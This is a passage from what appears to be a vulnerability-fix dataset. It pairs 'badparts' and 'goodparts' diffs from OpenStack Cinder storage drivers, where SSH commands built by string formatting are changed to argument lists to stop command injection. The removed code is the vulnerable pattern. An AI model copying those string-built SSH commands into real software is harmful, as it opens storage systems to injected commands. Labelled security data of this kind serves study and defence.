ssh_cmd_se_opt = (\n- '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %\n- {'rsize': opts['rsize'],\n- 'autoex': autoex,\n- 'warn': opts['warning']})\n+ ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),\n+ '-autoexpand', '-warning',\n+ '%s%%' % str(opts['warning'])]\n+ if not opts['autoexpand']:\n+ ssh_cmd_se_opt.remove('-autoexpand')\n+\n if opts['compression']:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'\n+ ssh_cmd_se_opt.append('-compressed')\n else:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + (\n- ' -grainsize %d' % opts['grainsize'])\n-\n- ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '\n- '-iogrp 0 -size %(size)s -unit '\n- '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'\n- % {'name': name,\n- 'mdiskgrp': self.configuration.storwize_svc_volpool_name,\n- 'size': size, 'unit': units, 'easytier': easytier,\n- 'ssh_cmd_se_opt': ssh_cmd_se_opt})\n+ ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])\n+\n+ ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',\n+ self.configuration.storwize_svc_volpool_name,\n+ '-iogrp', '0', '-size', size, '-unit',\n+ units, '-easytier', easytier] + ssh_cmd_se_opt\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), '_create_vdisk',\n ssh_cmd, out, err)\n", "add": 15, "remove": 19, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" autoex = '-autoexpand' if opts['autoexpand'] else ''", " easytier = '-easytier on' if opts['easytier'] else '-easytier off'", " ssh_cmd_se_opt = ''", " ssh_cmd_se_opt = (", " '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %", " {'rsize': opts['rsize'],", " 'autoex': autoex,", " 'warn': opts['warning']})", " ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'", " ssh_cmd_se_opt = ssh_cmd_se_opt + (", " ' -grainsize %d' % opts['grainsize'])", " ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '", " '-iogrp 0 -size %(size)s -unit '", " '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'", " % {'name': name,", " 'mdiskgrp': self.configuration.storwize_svc_volpool_name,", " 'size': size, 'unit': units, 'easytier': easytier,", " 'ssh_cmd_se_opt': ssh_cmd_se_opt})"], "goodparts": [" easytier = 'on' if opts['easytier'] else 'off'", " ssh_cmd_se_opt = []", " ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),", " '-autoexpand', '-warning',", " '%s%%' % str(opts['warning'])]", " if not opts['autoexpand']:", " ssh_cmd_se_opt.remove('-autoexpand')", " ssh_cmd_se_opt.append('-compressed')", " ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])", " ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',", " self.configuration.storwize_svc_volpool_name,", " '-iogrp', '0', '-size', size, '-unit',", " units, '-easytier', easytier] + ssh_cmd_se_opt"]}, {"diff": "\n LOG.debug(_('leave: _create_vdisk: volume %s ') % name)\n \n def _make_fc_map(self, source, target, full_copy):\n- copyflag = '' if full_copy else '-copyrate 0'\n- fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '\n- '-autodelete %(copyflag)s' %\n- {'src': source,\n- 'tgt': target,\n- 'copyflag': copyflag})\n+ fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',\n+ target, '-autodelete']\n+ if not full_copy:\n+ fc_map_cli_cmd.extend(['-copyrate', '0'])\n out, err = self._run_ssh(fc_map_cli_cmd)\n self._driver_assert(\n len(out.strip()),\n", "add": 4, "remove": 6, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" copyflag = '' if full_copy else '-copyrate 0'", " fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '", " '-autodelete %(copyflag)s' %", " {'src': source,", " 'tgt': target,", " 'copyflag': copyflag})"], "goodparts": [" fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',", " target, '-autodelete']", " if not full_copy:", " fc_map_cli_cmd.extend(['-copyrate', '0'])"]}, {"diff": "\n \n def _call_prepare_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_prepare_fc_map: Failed to prepare FlashCopy '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)"], "goodparts": [" out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])"]}, {"diff": "\n \n def _start_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_start_fc_map: Failed to start FlashCopy '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)"], "goodparts": [" out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])"]}, {"diff": "\n LOG.debug(_('enter: _get_flashcopy_mapping_attributes: mapping %s')\n % fc_map_id)\n \n- fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\\n- fc_map_id\n+ fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',\n+ 'id=%s' % fc_map_id, '-delim', '!']\n out, err = self._run_ssh(fc_ls_map_cmd)\n if not len(out.strip()):\n return None\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\", " fc_map_id"], "goodparts": [" fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',", " 'id=%s' % fc_map_id, '-delim', '!']"]}, {"diff": "\n if source == name:\n if not allow_snaps:\n return False\n- ssh_cmd = ('svctask chfcmap -copyrate 50 '\n- '-autodelete on %s' % map_id)\n+ ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',\n+ '-autodelete', 'on', map_id]\n out, err = self._run_ssh(ssh_cmd)\n wait_for_copy = True\n # Case #3: A snapshot\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask chfcmap -copyrate 50 '", " '-autodelete on %s' % map_id)"], "goodparts": [" ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',", " '-autodelete', 'on', map_id]"]}, {"diff": "\n {'name': name, 'src': source, 'tgt': target})\n self._driver_assert(target == name, msg)\n if status in ['copying', 'prepared']:\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n elif status in ['stopping', 'preparing']:\n wait_for_copy = True\n else:\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force',\n+ map_id])\n # Case 4: Copy in progress - wait and will autodelete\n else:\n if status == 'prepared':\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n elif status == 'idle_or_copied':\n # Prepare failed\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n else:\n wait_for_copy = True\n if wait_for_copy:\n", "add": 6, "remove": 5, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" self._run_ssh('svctask stopfcmap %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)", " self._run_ssh('svctask stopfcmap %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)"], "goodparts": [" self._run_ssh(['svctask', 'stopfcmap', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force',", " map_id])", " self._run_ssh(['svctask', 'stopfcmap', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])"]}, {"diff": "\n \n self._ensure_vdisk_no_fc_mappings(name)\n \n- forceflag = '-force' if force else ''\n- cmd_params = {'frc': forceflag, 'name': name}\n- ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params\n+ ssh_cmd = ['svctask', 'rmvdisk', '-force', name]\n+ if not force:\n+ ssh_cmd.remove('-force')\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmvdisk\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 3, "remove": 3, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" forceflag = '-force' if force else ''", " cmd_params = {'frc': forceflag, 'name': name}", " ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params"], "goodparts": [" ssh_cmd = ['svctask', 'rmvdisk', '-force', name]", " if not force:", " ssh_cmd.remove('-force')"]}, {"diff": "\n raise exception.VolumeBackendAPIException(data=exception_message)\n \n extend_amt = int(new_size) - volume['size']\n- ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'\n- % {'amt': extend_amt, 'name': volume['name']})\n+ ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),\n+ '-unit', 'gb', volume['name']])\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from expandvdisksize\n self._assert_ssh_return(len(out.strip()) == 0, 'extend_volume',\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'", " % {'amt': extend_amt, 'name': volume['name']})"], "goodparts": [" ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),", " '-unit', 'gb', volume['name']])"]}, {"diff": "\n \n pool = self.configuration.storwize_svc_volpool_name\n #Get storage system name\n- ssh_cmd = 'svcinfo lssystem -delim !'\n+ ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes or not attributes['name']:\n exception_message = (_('_update_volume_stats: '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lssystem -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']"]}, {"diff": "\n backend_name = '%s_%s' % (attributes['name'], pool)\n data['volume_backend_name'] = backend_name\n \n- ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes:\n LOG.error(_('Could not get pool data from the storage'))\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]"]}, {"diff": "\n self._stats = data\n \n def _port_conf_generator(self, cmd):\n- ssh_cmd = '%s -delim !' % cmd\n+ ssh_cmd = cmd + ['-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = '%s -delim !' % cmd"], "goodparts": [" ssh_cmd = cmd + ['-delim', '!']"]}, {"diff": "\n \"\"\"\n \n LOG.debug(_('enter: _execute_command_and_parse_attributes: '\n- ' command %s') % ssh_cmd)\n+ ' command %s') % str(ssh_cmd))\n \n try:\n out, err = self._run_ssh(ssh_cmd)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ' command %s') % ssh_cmd)"], "goodparts": [" ' command %s') % str(ssh_cmd))"]}, {"diff": "\n LOG.debug(_('leave: _execute_command_and_parse_attributes:\\n'\n 'command: %(cmd)s\\n'\n 'attributes: %(attr)s')\n- % {'cmd': ssh_cmd,\n+ % {'cmd': str(ssh_cmd),\n 'attr': str(attributes)})\n \n return attributes\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" % {'cmd': ssh_cmd,"], "goodparts": [" % {'cmd': str(ssh_cmd),"]}]}}, "msg": "Tidy up the SSH call to avoid injection attacks in storwize_svc\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string\n\nfix bug 1192971\n\nChange-Id: I57b3fe60e64d9d0dc1ea9a18442c877be2ceece3"}, "c55589b131828f3a595903f6796cb2d0babb772f": {"url": "https://api.github.com/repos/etaivan/stx-cinder-hpe3iscsi/commits/c55589b131828f3a595903f6796cb2d0babb772f", "html_url": "https://github.com/etaivan/stx-cinder-hpe3iscsi/commit/c55589b131828f3a595903f6796cb2d0babb772f", "sha": "c55589b131828f3a595903f6796cb2d0babb772f", "keyword": "command injection attack", "diff": "diff --git a/cinder/tests/test_hp3par.py b/cinder/tests/test_hp3par.py\nindex a226beeb9..6778a326b 100644\n--- a/cinder/tests/test_hp3par.py\n+++ b/cinder/tests/test_hp3par.py\n@@ -725,11 +725,12 @@ def test_create_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n@@ -750,16 +751,17 @@ def test_create_invalid_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n create_host_ret = pack(CLI_CR +\n 'already used by host fakehost.foo (19)')\n _run_ssh(create_host_cmd, False).AndReturn([create_host_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(FC_SHOWHOST_RET), ''])\n self.mox.ReplayAll()\n \n@@ -779,14 +781,14 @@ def test_create_modify_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(NO_FC_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -add fakehost '\n- '123456789012345 123456789054321')\n+ create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',\n+ '123456789054321']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n self.mox.ReplayAll()\n \n@@ -918,12 +920,12 @@ def test_create_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n@@ -944,16 +946,16 @@ def test_create_invalid_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n in_use_ret = pack('\\r\\nalready used by host fakehost.foo ')\n _run_ssh(create_host_cmd, False).AndReturn([in_use_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(ISCSI_3PAR_RET), ''])\n self.mox.ReplayAll()\n \n@@ -973,11 +975,11 @@ def test_create_modify_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_NO_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -iscsi -add fakehost '\n- 'iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n self.mox.ReplayAll()\n@@ -993,14 +995,14 @@ def test_get_ports(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI),\n ''])\n self.mox.ReplayAll()\n@@ -1017,14 +1019,14 @@ def test_get_iscsi_ip_active(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n self.mox.ReplayAll()\n@@ -1038,7 +1040,7 @@ def test_get_iscsi_ip_active(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN), ''])\n \n self.mox.ReplayAll()\n@@ -1054,21 +1056,21 @@ def test_get_iscsi_ip(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n #record\n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n show_vlun_ret = 'no vluns listed\\r\\n'\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(show_vlun_ret), ''])\n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n \n self.mox.ReplayAll()\n@@ -1089,14 +1091,14 @@ def test_invalid_iscsi_ip(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n config = self.setup_configuration()\n@@ -1118,7 +1120,7 @@ def test_get_least_used_nsp(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_common.py b/cinder/volume/drivers/san/hp/hp_3par_common.py\nindex 216b8da31..36f693421 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_common.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_common.py\n@@ -188,7 +188,7 @@ def _set_connections(self):\n The 3PAR WS API server has a limit of concurrent connections.\n This is setting the number to the highest allowed, 15 connections.\n \"\"\"\n- self._cli_run(\"setwsapi -sru high\", None)\n+ self._cli_run(['setwsapi', '-sru', 'high'])\n \n def get_domain(self, cpg_name):\n try:\n@@ -213,8 +213,7 @@ def extend_volume(self, volume, new_size):\n LOG.debug(\"Extending Volume %s from %s to %s, by %s GB.\" %\n (volume_name, old_size, new_size, growth_size))\n try:\n- self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),\n- None)\n+ self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error extending volume %s\") % volume)\n@@ -272,17 +271,8 @@ def _capacity_from_size(self, vol_size):\n capacity = int(round(capacity / MiB))\n return capacity\n \n- def _cli_run(self, verb, cli_args):\n+ def _cli_run(self, cmd):\n \"\"\"Runs a CLI command over SSH, without doing any result parsing.\"\"\"\n- cli_arg_strings = []\n- if cli_args:\n- for k, v in cli_args.items():\n- if k == '':\n- cli_arg_strings.append(\" %s\" % k)\n- else:\n- cli_arg_strings.append(\" %s=%s\" % (k, v))\n-\n- cmd = verb + ''.join(cli_arg_strings)\n LOG.debug(\"SSH CMD = %s \" % cmd)\n \n (stdout, stderr) = self._run_ssh(cmd, False)\n@@ -334,7 +324,10 @@ def _ssh_execute(self, ssh, cmd, check_exit_code=True):\n channel.close()\n return (stdout, stderr)\n \n- def _run_ssh(self, command, check_exit=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n self.sshpool = utils.SSHPool(self.config.san_ip,\n self.config.san_ssh_port,\n@@ -367,10 +360,10 @@ def _run_ssh(self, command, check_exit=True, attempts=1):\n LOG.error(_(\"Error running ssh command: %s\") % command)\n \n def _delete_3par_host(self, hostname):\n- self._cli_run('removehost %s' % hostname, None)\n+ self._cli_run(['removehost', hostname])\n \n def _create_3par_vlun(self, volume, hostname):\n- out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)\n+ out = self._cli_run(['createvlun', volume, 'auto', hostname])\n if out and len(out) > 1:\n if \"must be in the same domain\" in out[0]:\n err = out[0].strip()\n@@ -392,7 +385,7 @@ def _safe_hostname(self, hostname):\n return hostname[:index]\n \n def _get_3par_host(self, hostname):\n- out = self._cli_run('showhost -verbose %s' % (hostname), None)\n+ out = self._cli_run(['showhost', '-verbose', hostname])\n LOG.debug(\"OUTPUT = \\n%s\" % (pprint.pformat(out)))\n host = {'id': None, 'name': None,\n 'domain': None,\n@@ -479,7 +472,7 @@ def _get_3par_host(self, hostname):\n \n def get_ports(self):\n # First get the active FC ports\n- out = self._cli_run('showport', None)\n+ out = self._cli_run(['showport'])\n \n # strip out header\n # N:S:P,Mode,State,----Node_WWN----,-Port_WWN/HW_Addr-,Type,\n@@ -496,7 +489,7 @@ def get_ports(self):\n ports['FC'].append(tmp[4])\n \n # now get the active iSCSI ports\n- out = self._cli_run('showport -iscsi', None)\n+ out = self._cli_run(['showport', '-iscsi'])\n \n # strip out header\n # N:S:P,State,IPAddr,Netmask,Gateway,\n@@ -510,7 +503,7 @@ def get_ports(self):\n ports['iSCSI'][tmp[2]] = {}\n \n # now get the nsp and iqn\n- result = self._cli_run('showport -iscsiname', None)\n+ result = self._cli_run(['showport', '-iscsiname'])\n if result:\n # first line is header\n # nsp, ip,iqn\n@@ -631,31 +624,27 @@ def _set_qos_rule(self, qos, vvs_name):\n cli_qos_string += ('-io %s ' % max_io)\n if max_bw is not None:\n cli_qos_string += ('-bw %sM ' % max_bw)\n- self._cli_run('setqos %svvset:%s' %\n- (cli_qos_string, vvs_name), None)\n+ self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])\n \n def _add_volume_to_volume_set(self, volume, volume_name,\n cpg, vvs_name, qos):\n if vvs_name is not None:\n # Admin has set a volume set name to add the volume to\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n else:\n vvs_name = self._get_3par_vvs_name(volume['id'])\n domain = self.get_domain(cpg)\n- self._cli_run('createvvset -domain %s %s' % (domain,\n- vvs_name), None)\n+ self._cli_run(['createvvset', '-domain', domain, vvs_name])\n self._set_qos_rule(qos, vvs_name)\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n \n def _remove_volume_set(self, vvs_name):\n # Must first clear the QoS rules before removing the volume set\n- self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)\n- 